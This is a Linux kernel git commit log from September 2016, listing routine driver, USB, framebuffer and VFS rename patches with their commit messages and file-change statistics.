58ccaae30322b13c587596adb39408fca2a5ef7f Author: Baoyou Xie Date: Fri Sep 23 21:38:28 2016 +0800 vme: fake: mark symbols static where possible We get 4 warnings when building kernel with W=1: drivers/vme/bridges/vme_fake.c:384:6: warning: no previous prototype for 'fake_lm_check' [-Wmissing-prototypes] drivers/vme/bridges/vme_fake.c:619:6: warning: no previous prototype for 'fake_vmewrite8' [-Wmissing-prototypes] drivers/vme/bridges/vme_fake.c:649:6: warning: no previous prototype for 'fake_vmewrite16' [-Wmissing-prototypes] drivers/vme/bridges/vme_fake.c:679:6: warning: no previous prototype for 'fake_vmewrite32' [-Wmissing-prototypes] In fact, these functions are only used in the file in which they are declared and don't need a declaration, but can be made static. so this patch marks these functions with 'static'. Signed-off-by: Baoyou Xie Acked-by: Martyn Welch Signed-off-by: Greg Kroah-Hartman drivers/vme/bridges/vme_fake.c | 16 ++++++++-------- 1 file changed, 8 insertions(+), 8 deletions(-) commit e98cc182a06af3b8e91d6d719708db07045d78c4 Author: Christophe JAILLET Date: Mon Sep 26 22:24:46 2016 +0200 spmi: pmic-arb: Return an error code if sanity check fails If the test 'if (channel > 5)' is true, then we will return 'err' which is known to be 0 at this point. Return -EINVAL instead. Signed-off-by: Christophe JAILLET Signed-off-by: Greg Kroah-Hartman drivers/spmi/spmi-pmic-arb.c | 1 + 1 file changed, 1 insertion(+) commit e7fca5d860aeeb1e606448f5191cea8d925cc7a3 Author: Vitaly Kuznetsov Date: Fri Sep 16 09:01:18 2016 -0700 Drivers: hv: get rid of id in struct vmbus_channel The auto incremented counter is not being used anymore, get rid of it. Signed-off-by: Vitaly Kuznetsov Signed-off-by: K. Y. Srinivasan Signed-off-by: Greg Kroah-Hartman drivers/hv/channel_mgmt.c | 2 -- include/linux/hyperv.h | 3 --- 2 files changed, 5 deletions(-) commit b294809dbfa7e50229d00253d43f9a56e5d6a0ba Author: Vitaly Kuznetsov Date: Fri Sep 16 09:01:17 2016 -0700 Drivers: hv: make VMBus bus ids persistent Some tools use bus ids to identify devices and they count on the fact that these ids are persistent across reboot. This may be not true for VMBus as we use auto incremented counter from alloc_channel() as such id. Switch to using if_instance from channel offer, this id is supposed to be persistent. Signed-off-by: Vitaly Kuznetsov Signed-off-by: K. Y. Srinivasan Signed-off-by: Greg Kroah-Hartman drivers/hv/vmbus_drv.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 2d8784df1a1c11ace4e244780facec1e945c5b4f Author: Michael Moese Date: Wed Sep 14 12:05:24 2016 +0200 mcb: Add a dma_device to mcb_device When performing DMA operations on a MCB device, the device needed for using the DMA API is "mcb_device->bus_carrier". This is rather lengthy, so a shortcut is introduced to struct mcb_device in order to ensure the MCB device driver uses the correct device for DMA operations. Signed-off-by: Michael Moese Signed-off-by: Johannes Thumshirn Signed-off-by: Greg Kroah-Hartman drivers/mcb/mcb-core.c | 1 + include/linux/mcb.h | 1 + 2 files changed, 2 insertions(+) commit 15bb81d334e99081e105b76e6d0b46657b4f4f2e Author: Michael Moese Date: Wed Sep 14 12:05:23 2016 +0200 mcb: Enable PCI bus mastering by default In order to successfully perform DMA operations on PCI devices, it is necessary to enble PCI bus mastering, so enable it by default. Signed-off-by: Michael Moese Signed-off-by: Johannes Thumshirn Signed-off-by: Greg Kroah-Hartman drivers/mcb/mcb-pci.c | 1 + 1 file changed, 1 insertion(+) commit 1892fc2ee4c08d7ac17adb93f1341d9c3d7bdaf6 Author: Alexander Usyskin Date: Sun Sep 25 13:25:31 2016 +0300 mei: stop the stall timer worker if not needed The stall timer worker checks periodically if there is a stalled i/o transaction. The issue with the current implementation is that the timer is ticking also when there is no pending i/o transaction. This patch provides a simple change that prevents rescheduling of the delayed work when there is no pending i/o. Cc: Andy Lutomirski Signed-off-by: Alexander Usyskin Signed-off-by: Tomas Winkler Signed-off-by: Greg Kroah-Hartman drivers/misc/mei/amthif.c | 1 + drivers/misc/mei/client.c | 2 ++ drivers/misc/mei/hbm.c | 3 +++ drivers/misc/mei/init.c | 2 +- drivers/misc/mei/interrupt.c | 25 +++++++++++++++++++++---- drivers/misc/mei/mei_dev.h | 1 + drivers/misc/mei/pci-me.c | 2 -- 7 files changed, 29 insertions(+), 7 deletions(-) commit 60ca5e0d280b1a51df55c5fc2e5bfe010b344c5a Author: Guenter Roeck Date: Tue Sep 13 20:32:44 2016 -0700 driver-core: platform: Catch errors from calls to irq_get_irq_data irq_get_irq_data() can return NULL, which results in a nasty crash. Check its return value before passing it on to irqd_set_trigger_type(). Signed-off-by: Guenter Roeck Reviewed-by: Linus Walleij Signed-off-by: Greg Kroah-Hartman drivers/base/platform.c | 11 ++++++++--- 1 file changed, 8 insertions(+), 3 deletions(-) commit 78618d395b65fadb2937a985308c3a4d2897ade2 Author: Johannes Thumshirn Date: Mon Sep 19 10:14:54 2016 +0200 sysfs print name of undiscoverable attribute group Print the name of an undiscoverable attribute group and not the pointer's address. Signed-off-by: Johannes Thumshirn Signed-off-by: Greg Kroah-Hartman fs/sysfs/group.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit decc5360f23e9efe0252094f47f57f254dcbb3a9 Author: Kyle Jones Date: Fri Sep 23 13:28:37 2016 -0500 USB: serial: cp210x: Add ID for a Juniper console Signed-off-by: Kyle Jones Cc: stable Signed-off-by: Greg Kroah-Hartman drivers/usb/serial/cp210x.c | 1 + 1 file changed, 1 insertion(+) commit cb9c1cfc86926d0e86d19c8e34f6c23458cd3478 Author: Peter Chen Date: Wed Sep 14 09:49:30 2016 +0800 usb: Kconfig: using select for USB_COMMON dependency According to (badf6d47f8a9 "usb: common: rework CONFIG_USB_COMMON logic") we should select USB_COMMON at Kconfig when usb common stuffs are needed, but some of Kconfig enties have not followed it, update them. Cc: Felipe Balbi Cc: Heikki Krogerus Signed-off-by: Peter Chen Acked-by: Arnd Bergmann Signed-off-by: Greg Kroah-Hartman drivers/usb/Kconfig | 5 +++-- drivers/usb/usbip/Kconfig | 3 ++- 2 files changed, 5 insertions(+), 3 deletions(-) commit a2f195a73eba807006fb0cb882ecb552c06eea00 Author: Wolfram Sang Date: Thu Aug 11 23:00:31 2016 +0200 bluetooth: bcm203x: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/bluetooth/bcm203x.c | 4 +--- 1 file changed, 1 insertion(+), 3 deletions(-) commit 539d3040569b701ed6c826509e2f98b2876b40f0 Author: Wolfram Sang Date: Thu Aug 11 23:03:53 2016 +0200 mmc: host: vub300: don't print error when allocating urb fails kmalloc will print enough information in case of failure. Signed-off-by: Wolfram Sang Signed-off-by: Greg Kroah-Hartman drivers/mmc/host/vub300.c | 2 -- 1 file changed, 2 deletions(-) commit 4e248000e0d3b406bd6612186835467f2f84486e Author: Yonglong Wu Date: Fri Aug 19 11:37:26 2016 +0800 usb: hub: change CLEAR_FEATURE to SET_FEATURE In USB20 specification, describes in chapter 9.4.5: The Remote Wakeup field can be modified by the SetFeature() and ClearFeature() requests using the DEVICE_REMOTE_WAKEUP feature selector. In USB30 specification, also describes in chapter 9.4.5: The Function Remote Wakeup field can be modified by the SetFeature() requests using the FUNCTION_SUSPEND feature selector. In chapter 9.4.9 Set Feature reference, it describes Function Remote Wake Enabled/Disabled at suspend options by SET_FEATURE. In USB30 specification only mentioned SetFeature(), so we need use SET_FEATURE replace CLEAR_FEATURE to disable USB30 function remote wakeup in suspend options. Signed-off-by: Yonglong Wu Signed-off-by: Greg Kroah-Hartman drivers/usb/core/hub.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 0f247626cbbfa2010d2b86fdee652605e084e248 Author: Rafał Miłecki Date: Fri Sep 16 16:13:48 2016 +0200 usb: core: Introduce a USB port LED trigger This commit adds a new trigger responsible for turning on LED when USB device gets connected to the selected USB port. This can can useful for various home routers that have USB port(s) and a proper LED telling user a device is connected. The trigger gets its documentation file but basically it just requires enabling it and selecting USB ports (e.g. echo 1 > ports/usb1-1). There was a long discussion on design of this driver. Its current state is a result of picking them most adjustable solution as others couldn't handle all cases. 1) It wasn't possible for the driver to register separated trigger for each USB port. Some physical USB ports are handled by more than one controller and so by more than one USB port. E.g. USB 2.0 physical port may be handled by OHCI's port and EHCI's port. It's also not possible to assign more than 1 trigger to a single LED and implementing such feature would be tricky due to syncing triggers and sysfs conflicts with old triggers. 2) Another idea was to register trigger per USB hub. This wouldn't allow handling devices with multiple USB LEDs and controllers (hubs) controlling more than 1 physical port. It's common for hubs to have few ports and each may have its own LED. This final trigger is highly flexible. It allows selecting any USB ports for any LED. It was also modified (comparing to the initial version) to allow choosing ports rather than having user /guess/ proper names. It was successfully tested on SmartRG SR400ac which has 3 USB LEDs, 2 physical ports and 3 controllers. It was noted USB subsystem already has usb-gadget and usb-host triggers but they are pretty trivial ones. They indicate activity only and can't have ports specified. In future it may be good idea to consider adding activity support to usbport as well. This should allow switching to this more generic driver and maybe marking old ones as obsolete. This can be implemented with another sysfs file for setting mode. The default mode wouldn't change so there won't be ABI breakage and so such feature can be safely implemented later. There was also an idea of supporting other devices (PCI, SDIO, etc.) but as this driver already contains some USB specific code (and will get more) these should be probably separated drivers (triggers). Signed-off-by: Rafał Miłecki Signed-off-by: Greg Kroah-Hartman .../ABI/testing/sysfs-class-led-trigger-usbport | 12 + Documentation/leds/ledtrig-usbport.txt | 41 +++ drivers/usb/core/Kconfig | 8 + drivers/usb/core/Makefile | 2 + drivers/usb/core/ledtrig-usbport.c | 314 +++++++++++++++++++++ 5 files changed, 377 insertions(+) commit e8624859dde2ad07633dac7ec86629a516411ea1 Author: Rafał Miłecki Date: Wed Sep 21 18:01:43 2016 +0200 USB: bcma: drop Northstar PHY 2.0 initialization code This driver should initialize controller only, PHY initialization should be handled by separated PHY driver. We already have phy-bcm-ns-usb2 in place so let it makes its duty. Signed-off-by: Rafał Miłecki Signed-off-by: Greg Kroah-Hartman drivers/usb/host/bcma-hcd.c | 80 ++++++++++++++------------------------------- 1 file changed, 25 insertions(+), 55 deletions(-) commit 35be784cdb9c81e9fa0c7cac3492069cadd6a726 Author: Baoyou Xie Date: Fri Sep 23 21:44:13 2016 +0800 usb: core: hcd: add missing header dependencies We get 1 warning when building kernel with W=1: drivers/usb/core/hcd.c:2390:5: warning: no previous prototype for 'usb_bus_start_enum' [-Wmissing-prototypes] In fact, these functions are declared in linux/usb/otg.h, so this patch adds the missing header dependencies. Signed-off-by: Baoyou Xie Signed-off-by: Greg Kroah-Hartman drivers/usb/core/hcd.c | 1 + 1 file changed, 1 insertion(+) commit 1306d8e1c09fdc8ecb9ef235e2116352f810f9c5 Merge: 8a17ef9d 3241525 Author: James Morris Date: Tue Sep 27 19:21:37 2016 +1000 Merge tag 'tpmdd-next-20160927' of git://git.infradead.org/users/jjs/linux-tpmdd into ra-next tpmdd reverts for Linux 4.9 Revert patches mistakenly included. "Hi James, I had a typo in my PR command: git request-pull security/next git://git.infradead.org/users/jjs/linux-tpmdd.git master > tpmdd-next-20160915.txt ^^^^^^ That should have been the signed tag tpmdd-next-20160915. This caused four commits slip into your tree that are not meant for 4.9 release. I created a script to generate the signed tag + PR as a corrective measure. /Jarkko" commit aadfa8019e8114539cfa0b1eb2e5a9c83094a590 Author: Miklos Szeredi Date: Tue Sep 27 11:03:58 2016 +0200 vfs: add note about i_op->rename changes to porting Signed-off-by: Miklos Szeredi Documentation/filesystems/porting | 4 ++++ 1 file changed, 4 insertions(+) commit 2773bf00aeb9bf39e022463272a61dd0ec9f55f4 Author: Miklos Szeredi Date: Tue Sep 27 11:03:58 2016 +0200 fs: rename "rename2" i_op to "rename" Generated patch: sed -i "s/\.rename2\t/\.rename\t\t/" `git grep -wl rename2` sed -i "s/\brename2\b/rename/g" `git grep -wl rename2` Signed-off-by: Miklos Szeredi Documentation/filesystems/Locking | 6 +++--- Documentation/filesystems/vfs.txt | 2 +- drivers/staging/lustre/lustre/llite/namei.c | 2 +- fs/9p/vfs_inode.c | 4 ++-- fs/9p/vfs_inode_dotl.c | 2 +- fs/affs/dir.c | 2 +- fs/afs/dir.c | 2 +- fs/bad_inode.c | 2 +- fs/bfs/dir.c | 2 +- fs/btrfs/inode.c | 2 +- fs/cachefiles/namei.c | 2 +- fs/ceph/dir.c | 4 ++-- fs/cifs/cifsfs.c | 2 +- fs/coda/dir.c | 2 +- fs/ecryptfs/inode.c | 2 +- fs/exofs/namei.c | 2 +- fs/ext2/namei.c | 2 +- fs/ext4/namei.c | 2 +- fs/f2fs/namei.c | 2 +- fs/fat/namei_msdos.c | 2 +- fs/fat/namei_vfat.c | 2 +- fs/fuse/dir.c | 2 +- fs/gfs2/inode.c | 2 +- fs/hfs/dir.c | 2 +- fs/hfsplus/dir.c | 2 +- fs/hostfs/hostfs_kern.c | 2 +- fs/hpfs/namei.c | 2 +- fs/hugetlbfs/inode.c | 2 +- fs/jffs2/dir.c | 2 +- fs/jfs/namei.c | 2 +- fs/kernfs/dir.c | 2 +- fs/logfs/dir.c | 2 +- fs/minix/namei.c | 2 +- fs/namei.c | 4 ++-- fs/ncpfs/dir.c | 2 +- fs/nfs/nfs3proc.c | 2 +- fs/nfs/nfs4proc.c | 2 +- fs/nfs/proc.c | 2 +- fs/nilfs2/namei.c | 2 +- fs/ocfs2/namei.c | 2 +- fs/omfs/dir.c | 2 +- fs/orangefs/namei.c | 2 +- fs/overlayfs/dir.c | 2 +- fs/overlayfs/overlayfs.h | 4 ++-- fs/ramfs/inode.c | 2 +- fs/reiserfs/namei.c | 2 +- fs/sysv/namei.c | 2 +- fs/ubifs/dir.c | 2 +- fs/udf/namei.c | 2 +- fs/ufs/namei.c | 2 +- fs/xfs/xfs_iops.c | 4 ++-- include/linux/fs.h | 2 +- kernel/bpf/inode.c | 2 +- mm/shmem.c | 2 +- security/tomoyo/realpath.c | 4 ++-- 55 files changed, 63 insertions(+), 63 deletions(-) commit 18fc84dafaac1fd63d5e6e600058eada8fc7914b Author: Miklos Szeredi Date: Tue Sep 27 11:03:58 2016 +0200 vfs: remove unused i_op->rename No in-tree uses remain. Signed-off-by: Miklos Szeredi Documentation/filesystems/Locking | 6 +----- Documentation/filesystems/directory-locking | 2 +- Documentation/filesystems/vfs.txt | 9 ++------- fs/cachefiles/namei.c | 3 +-- fs/namei.c | 15 +++------------ include/linux/fs.h | 2 -- security/tomoyo/realpath.c | 4 ++-- 7 files changed, 10 insertions(+), 31 deletions(-) commit 1cd66c93ba8cdb873258f58ae6a817b28a02bcc3 Author: Miklos Szeredi Date: Tue Sep 27 11:03:58 2016 +0200 fs: make remaining filesystems use .rename2 This is trivial to do: - add flags argument to foo_rename() - check if flags is zero - assign foo_rename() to .rename2 instead of .rename This doesn't mean it's impossible to support RENAME_NOREPLACE for these filesystems, but it is not trivial, like for local filesystems. RENAME_NOREPLACE must guarantee atomicity (i.e. it shouldn't be possible for a file to be created on one host while it is overwritten by rename on another host). Filesystems converted: 9p, afs, ceph, coda, ecryptfs, kernfs, lustre, ncpfs, nfs, ocfs2, orangefs. After this, we can get rid of the duplicate interfaces for rename. Signed-off-by: Miklos Szeredi Acked-by: Greg Kroah-Hartman Acked-by: David Howells [AFS] Acked-by: Mike Marshall Cc: Eric Van Hensbergen Cc: Ilya Dryomov Cc: Jan Harkes Cc: Tyler Hicks Cc: Oleg Drokin Cc: Trond Myklebust Cc: Mark Fasheh drivers/staging/lustre/lustre/llite/namei.c | 8 ++++++-- fs/9p/v9fs.h | 3 ++- fs/9p/vfs_inode.c | 10 +++++++--- fs/9p/vfs_inode_dotl.c | 2 +- fs/afs/dir.c | 11 ++++++++--- fs/ceph/dir.c | 10 +++++++--- fs/coda/dir.c | 8 ++++++-- fs/ecryptfs/inode.c | 8 ++++++-- fs/kernfs/dir.c | 8 ++++++-- fs/ncpfs/dir.c | 10 +++++++--- fs/nfs/dir.c | 6 +++++- fs/nfs/internal.h | 3 ++- fs/nfs/nfs3proc.c | 2 +- fs/nfs/nfs4proc.c | 2 +- fs/nfs/proc.c | 2 +- fs/ocfs2/namei.c | 8 ++++++-- fs/orangefs/namei.c | 8 ++++++-- 17 files changed, 78 insertions(+), 31 deletions(-) commit e0e0be8a835520e2f7c89f214dfda570922a1b90 Author: Miklos Szeredi Date: Tue Sep 27 11:03:57 2016 +0200 libfs: support RENAME_NOREPLACE in simple_rename() This is trivial to do: - add flags argument to simple_rename() - check if flags doesn't have any other than RENAME_NOREPLACE - assign simple_rename() to .rename2 instead of .rename Filesystems converted: hugetlbfs, ramfs, bpf. Debugfs uses simple_rename() to implement debugfs_rename(), which is for debugfs instances to rename files internally, not for userspace filesystem access. For this case pass zero flags to simple_rename(). Signed-off-by: Miklos Szeredi Acked-by: Greg Kroah-Hartman Cc: Alexei Starovoitov fs/debugfs/inode.c | 2 +- fs/hugetlbfs/inode.c | 2 +- fs/libfs.c | 6 +++++- fs/ramfs/inode.c | 2 +- include/linux/fs.h | 3 ++- kernel/bpf/inode.c | 2 +- 6 files changed, 11 insertions(+), 6 deletions(-) commit f03b8ad8d38634d13e802165cc15917481b47835 Author: Miklos Szeredi Date: Tue Sep 27 11:03:57 2016 +0200 fs: support RENAME_NOREPLACE for local filesystems This is trivial to do: - add flags argument to foo_rename() - check if flags doesn't have any other than RENAME_NOREPLACE - assign foo_rename() to .rename2 instead of .rename Filesystems converted: affs, bfs, exofs, ext2, hfs, hfsplus, jffs2, jfs, logfs, minix, msdos, nilfs2, omfs, reiserfs, sysvfs, ubifs, udf, ufs, vfat. Signed-off-by: Miklos Szeredi Acked-by: Boaz Harrosh Acked-by: Richard Weinberger Acked-by: Bob Copeland Acked-by: Jan Kara Cc: Theodore Ts'o Cc: Jaegeuk Kim Cc: OGAWA Hirofumi Cc: Mikulas Patocka Cc: David Woodhouse Cc: Dave Kleikamp Cc: Ryusuke Konishi Cc: Christoph Hellwig fs/affs/affs.h | 3 ++- fs/affs/dir.c | 2 +- fs/affs/namei.c | 6 +++++- fs/bfs/dir.c | 8 ++++++-- fs/exofs/namei.c | 8 ++++++-- fs/ext2/namei.c | 8 ++++++-- fs/fat/namei_msdos.c | 8 ++++++-- fs/fat/namei_vfat.c | 8 ++++++-- fs/hfs/dir.c | 8 ++++++-- fs/hfsplus/dir.c | 8 ++++++-- fs/hpfs/namei.c | 8 ++++++-- fs/jffs2/dir.c | 11 ++++++++--- fs/jfs/namei.c | 7 +++++-- fs/logfs/dir.c | 8 ++++++-- fs/minix/namei.c | 8 ++++++-- fs/nilfs2/namei.c | 8 ++++++-- fs/omfs/dir.c | 8 ++++++-- fs/reiserfs/namei.c | 8 ++++++-- fs/sysv/namei.c | 8 ++++++-- fs/ubifs/dir.c | 8 ++++++-- fs/udf/namei.c | 8 ++++++-- fs/ufs/namei.c | 8 ++++++-- 22 files changed, 123 insertions(+), 42 deletions(-) commit 9a232de4999666b2e8ea6775b2b0e3e4feb09b7a Author: Miklos Szeredi Date: Tue Sep 27 11:03:57 2016 +0200 ncpfs: fix unused variable warning Without CONFIG_NCPFS_NLS the following warning is seen: fs/ncpfs/dir.c: In function 'ncp_hash_dentry': fs/ncpfs/dir.c:136:23: warning: unused variable 'sb' [-Wunused-variable] struct super_block *sb = dentry->d_sb; Signed-off-by: Miklos Szeredi fs/ncpfs/dir.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 324152502b0ef2f65a3fe039b7dcd27b223d14ac Author: Jarkko Sakkinen Date: Tue Sep 27 12:02:13 2016 +0300 Revert "tpm/tpm_crb: implement tpm crb idle state" This reverts commit e17acbbb69d30836a8c12e2c09bbefab8656693e. Signed-off-by: Jarkko Sakkinen drivers/char/tpm/tpm_crb.c | 69 ---------------------------------------------- 1 file changed, 69 deletions(-) commit cfa188220363647c332028c094eb4cae86c918ad Author: Jarkko Sakkinen Date: Tue Sep 27 12:01:43 2016 +0300 Revert "tmp/tpm_crb: fix Intel PTT hw bug during idle state" This reverts commit 9514ff1961c6f0f5983ba72d94f384bc13e0d4a1. Signed-off-by: Jarkko Sakkinen drivers/char/tpm/tpm_crb.c | 47 ++++++++-------------------------------------- 1 file changed, 8 insertions(+), 39 deletions(-) commit 2b7926ae1cd44efb006e16d5d165700e5f673294 Author: Jarkko Sakkinen Date: Tue Sep 27 12:01:13 2016 +0300 Revert "tpm/tpm_crb: open code the crb_init into acpi_add" This reverts commit 0c22db435bf79d3cf3089df7ff198d4867df3c27. Signed-off-by: Jarkko Sakkinen drivers/char/tpm/tpm_crb.c | 26 ++++++++++++++++---------- 1 file changed, 16 insertions(+), 10 deletions(-) commit 4886cd80cb8eab175a527f82ea8fc676e70309fa Author: Jarkko Sakkinen Date: Tue Sep 27 12:00:13 2016 +0300 Revert "tmp/tpm_crb: implement runtime pm for tpm_crb" This reverts commit e350e24694e447e6ab7312fffae5ca31a0bb5165. Signed-off-by: Jarkko Sakkinen drivers/char/tpm/tpm-interface.c | 5 ----- drivers/char/tpm/tpm_crb.c | 37 +++---------------------------------- 2 files changed, 3 insertions(+), 39 deletions(-) commit c456a2f30de53e77a2eb8eeb4202d742516aa76b Author: Sudip Mukherjee Date: Wed May 25 17:49:48 2016 +0530 video: smscufx: remove unused variable The variable was only assigned with the pointer but was never used. We can safely remove it. Signed-off-by: Sudip Mukherjee Signed-off-by: Tomi Valkeinen drivers/video/fbdev/smscufx.c | 2 -- 1 file changed, 2 deletions(-) commit 59921b239056fb6389a865083284e00ce0518db6 Author: Sudip Mukherjee Date: Thu Aug 25 23:14:12 2016 +0530 matroxfb: fix size of memcpy hw->DACreg has a size of 80 bytes and MGADACbpp32 has 21. So when memcpy copies MGADACbpp32 to hw->DACreg it copies 80 bytes but only 21 bytes are valid. Signed-off-by: Sudip Mukherjee Signed-off-by: Tomi Valkeinen drivers/video/fbdev/matrox/matroxfb_Ti3026.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit d8ed9e87e6016433b8d178728a5391ea68101bca Author: LABBE Corentin Date: Tue Aug 16 11:27:18 2016 +0200 fbdev: ssd1307fb: fix a possible NULL dereference of_match_device could return NULL, and so cause a NULL pointer dereference later. For fixing this problem, we use of_device_get_match_data(), this will simplify the code a little by using a standard function for getting the match data. Signed-off-by: LABBE Corentin Signed-off-by: Tomi Valkeinen drivers/video/fbdev/ssd1307fb.c | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit 60169c3fb78e5cd61cb1343e7f3c5edb72702a04 Author: LABBE Corentin Date: Tue Aug 16 11:27:17 2016 +0200 fbdev: ssd1307fb: constify the device_info pointer of_match_device return const data, so instead of casting its return value this patch constify the device_info pointer. Signed-off-by: LABBE Corentin Signed-off-by: Tomi Valkeinen drivers/video/fbdev/ssd1307fb.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 7c9806e82588cd9601ab2d30ca3bfb5b8fda2965 Author: Chen-Yu Tsai Date: Wed Sep 7 17:09:19 2016 +0800 simplefb: Disable and release clocks and regulators in destroy callback simplefb gets unregister when a proper framebuffer driver comes in and kicks it out. However the claimed clocks and regulators stay enabled as they are only released in the platform device remove function, which in theory would never get called. Move the clock/regulator cleanup into the framebuffer destroy callback, which gets called as part of the framebuffer unregister process. Note this introduces asymmetry in how the resources are claimed and released. Signed-off-by: Chen-Yu Tsai Reviewed-by: Hans de Goede Signed-off-by: Tomi Valkeinen drivers/video/fbdev/simplefb.c | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) commit ca9384c5911199257cbdf48f1bc3e3986de611a2 Author: Julia Lawall Date: Sun Sep 11 17:17:20 2016 +0200 video: fbdev: constify fb_fix_screeninfo and fb_var_screeninfo structures These structures are only used to copy into other structures, so declare them as const. The semantic patch that makes this change in the fb_fix_screeninfo case is as follows (http://coccinelle.lip6.fr/). The fb_var_screeninfo case is analogous. // @r disable optional_qualifier@ identifier i; position p; @@ static struct fb_fix_screeninfo i@p = { ... }; @ok@ identifier r.i; expression e; position p; @@ e = i@p @bad@ position p != {r.p,ok.p}; identifier r.i; struct fb_fix_screeninfo e; @@ e@i@p @depends on !bad disable optional_qualifier@ identifier r.i; @@ static +const struct fb_fix_screeninfo i = { ... }; // Signed-off-by: Julia Lawall Signed-off-by: Tomi Valkeinen drivers/video/fbdev/arcfb.c | 4 ++-- drivers/video/fbdev/asiliantfb.c | 4 ++-- drivers/video/fbdev/aty/aty128fb.c | 6 +++--- drivers/video/fbdev/aty/atyfb_base.c | 2 +- drivers/video/fbdev/aty/radeon_monitor.c | 2 +- drivers/video/fbdev/hecubafb.c | 4 ++-- drivers/video/fbdev/hgafb.c | 2 +- drivers/video/fbdev/i740fb.c | 2 +- drivers/video/fbdev/kyro/fbdev.c | 2 +- drivers/video/fbdev/pm2fb.c | 2 +- drivers/video/fbdev/s1d13xxxfb.c | 2 +- drivers/video/fbdev/savage/savagefb_driver.c | 2 +- drivers/video/fbdev/simplefb.c | 4 ++-- drivers/video/fbdev/sm712fb.c | 2 +- drivers/video/fbdev/ssd1307fb.c | 4 ++-- drivers/video/fbdev/tdfxfb.c | 4 ++-- drivers/video/fbdev/uvesafb.c | 2 +- drivers/video/fbdev/vga16fb.c | 2 +- 18 files changed, 26 insertions(+), 26 deletions(-) commit 1d2ffbd3e06d852362dbaa3457e0796cb32ee8ff Author: Julia Lawall Date: Sun Sep 11 15:05:46 2016 +0200 matroxfb: constify local structures For structure types defined in the same file or local header files, find top-level static structure declarations that have the following properties: 1. Never reassigned. 2. Address never taken 3. Not passed to a top-level macro call 4. No pointer or array-typed field passed to a function or stored in a variable. Declare structures having all of these properties as const. Done using Coccinelle. Based on a suggestion by Joe Perches . Signed-off-by: Julia Lawall Signed-off-by: Tomi Valkeinen drivers/video/fbdev/matrox/matroxfb_g450.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 263d23a5d1b3c47c266ba80ab4d9f54d8099a393 Author: Colin Ian King Date: Mon Sep 12 13:14:12 2016 +0100 video: fbdev: i810: add in missing white space in error message text A printk message spans two lines and the literal string is missing a white space between words. Add the white space. Signed-off-by: Colin Ian King Signed-off-by: Tomi Valkeinen drivers/video/fbdev/i810/i810_main.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 3f3ed26ba2306e672eedd3604fbc24db1dc92eb4 Author: Colin Ian King Date: Mon Sep 12 11:24:21 2016 +0100 video: fbdev: add missing \n at end of printk error message The message is missing a \n, add it. Signed-off-by: Colin Ian King Signed-off-by: Tomi Valkeinen drivers/video/fbdev/s1d13xxxfb.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 1c065770d04050312eb534434e7b4f45e17e831f Author: Krzysztof Kozlowski Date: Fri Sep 16 10:32:40 2016 +0200 ARM: exynos_defconfig: Remove old non-working MIPI driver The Exynos MIPI driver does not work anymore (it is board file only) so it is removed. Remove also config options. Cc: Inki Dae Cc: Donghwa Lee Cc: Kyungmin Park Cc: Tomi Valkeinen Signed-off-by: Krzysztof Kozlowski Signed-off-by: Tomi Valkeinen arch/arm/configs/exynos_defconfig | 2 -- 1 file changed, 2 deletions(-) commit a38719b3dce002b7decc29b17312b8ba4a738db9 Author: Krzysztof Kozlowski Date: Fri Sep 16 10:32:39 2016 +0200 video: fbdev: exynos: Remove old non-working MIPI driver The old non-DRM Exynos MIPI driver does not support DeviceTree and requires board files. Our platforms do not provide such so the driver is not usable since a long time ago. All features provided by the driver (and associated s6e8ax0 panel driver) are already supported by newer DRM version so the old code can be removed. Cc: Inki Dae Cc: Donghwa Lee Cc: Kyungmin Park Signed-off-by: Krzysztof Kozlowski Signed-off-by: Tomi Valkeinen MAINTAINERS | 9 - drivers/video/fbdev/Kconfig | 1 - drivers/video/fbdev/Makefile | 2 - drivers/video/fbdev/exynos/Kconfig | 32 - drivers/video/fbdev/exynos/Makefile | 9 - drivers/video/fbdev/exynos/exynos_mipi_dsi.c | 574 ------------- .../video/fbdev/exynos/exynos_mipi_dsi_common.c | 880 -------------------- .../video/fbdev/exynos/exynos_mipi_dsi_common.h | 46 -- .../video/fbdev/exynos/exynos_mipi_dsi_lowlevel.c | 618 -------------- .../video/fbdev/exynos/exynos_mipi_dsi_lowlevel.h | 112 --- drivers/video/fbdev/exynos/exynos_mipi_dsi_regs.h | 149 ---- drivers/video/fbdev/exynos/s6e8ax0.c | 887 --------------------- include/video/exynos_mipi_dsim.h | 358 --------- 13 files changed, 3677 deletions(-) commit 43da7575cdecaf5af2d6b3f3a9e4e6c9144be428 Author: Wei Yongjun Date: Sat Sep 17 15:53:34 2016 +0000 omapfb: fix return value check in dsi_bind() Fix the retrn value check which testing the wrong variable in dsi_bind(). Fixes: f76ee892a99e ("omapfb: copy omapdss & displays for omapfb") Signed-off-by: Wei Yongjun Reviewed-by: Peter Ujfalusi Signed-off-by: Tomi Valkeinen drivers/video/fbdev/omap2/omapfb/dss/dsi.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 831a8c479f54a72bee6529cff5b85eb295706a9e Author: Tomi Valkeinen Date: Tue Sep 27 10:57:56 2016 +0300 MAINTAINERS: update fbdev entries Remove Jean-Christophe from the maintainers, and remove links to old unmaintained web pages and git trees. Signed-off-by: Tomi Valkeinen MAINTAINERS | 3 --- 1 file changed, 3 deletions(-) commit 5bda8f7b54687ab6397a383db38d53fd51bb1c6e Author: Yongji Xie Date: Tue Sep 13 13:53:46 2016 +0800 video: fbdev: offb: Call pci_enable_device() before using the PCI VGA device Currently the offb module will use the PCI VGA device as frame buffer device without calling something like pci_enable_device(). However, this would cause some problem if we disable memory decoding of the upstream bridge before. When the console driver issued memory access to the VGA device, the access cannot be supported by the bridge which will cause EEH error on Power machine. Signed-off-by: Yongji Xie Signed-off-by: Tomi Valkeinen drivers/video/fbdev/offb.c | 15 +++++++++++++++ 